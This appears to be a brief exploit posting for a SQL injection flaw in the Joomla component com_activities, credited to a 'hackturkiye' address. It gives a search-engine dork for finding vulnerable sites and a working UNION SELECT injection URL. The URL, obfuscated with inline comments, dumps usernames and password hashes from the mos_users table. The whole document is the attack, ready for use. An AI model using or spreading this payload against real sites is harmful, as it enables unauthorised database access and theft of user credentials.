joomla com_activities sql injection

[hackturkiye.hackturkiye@xxxxxxxxx]

allinurl :"com_activities"

index.php?option=com_activities&Itemid=51&func=detail&id=-1/**/union/**/select/**/0,1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,username/**/from/**/mos_users/*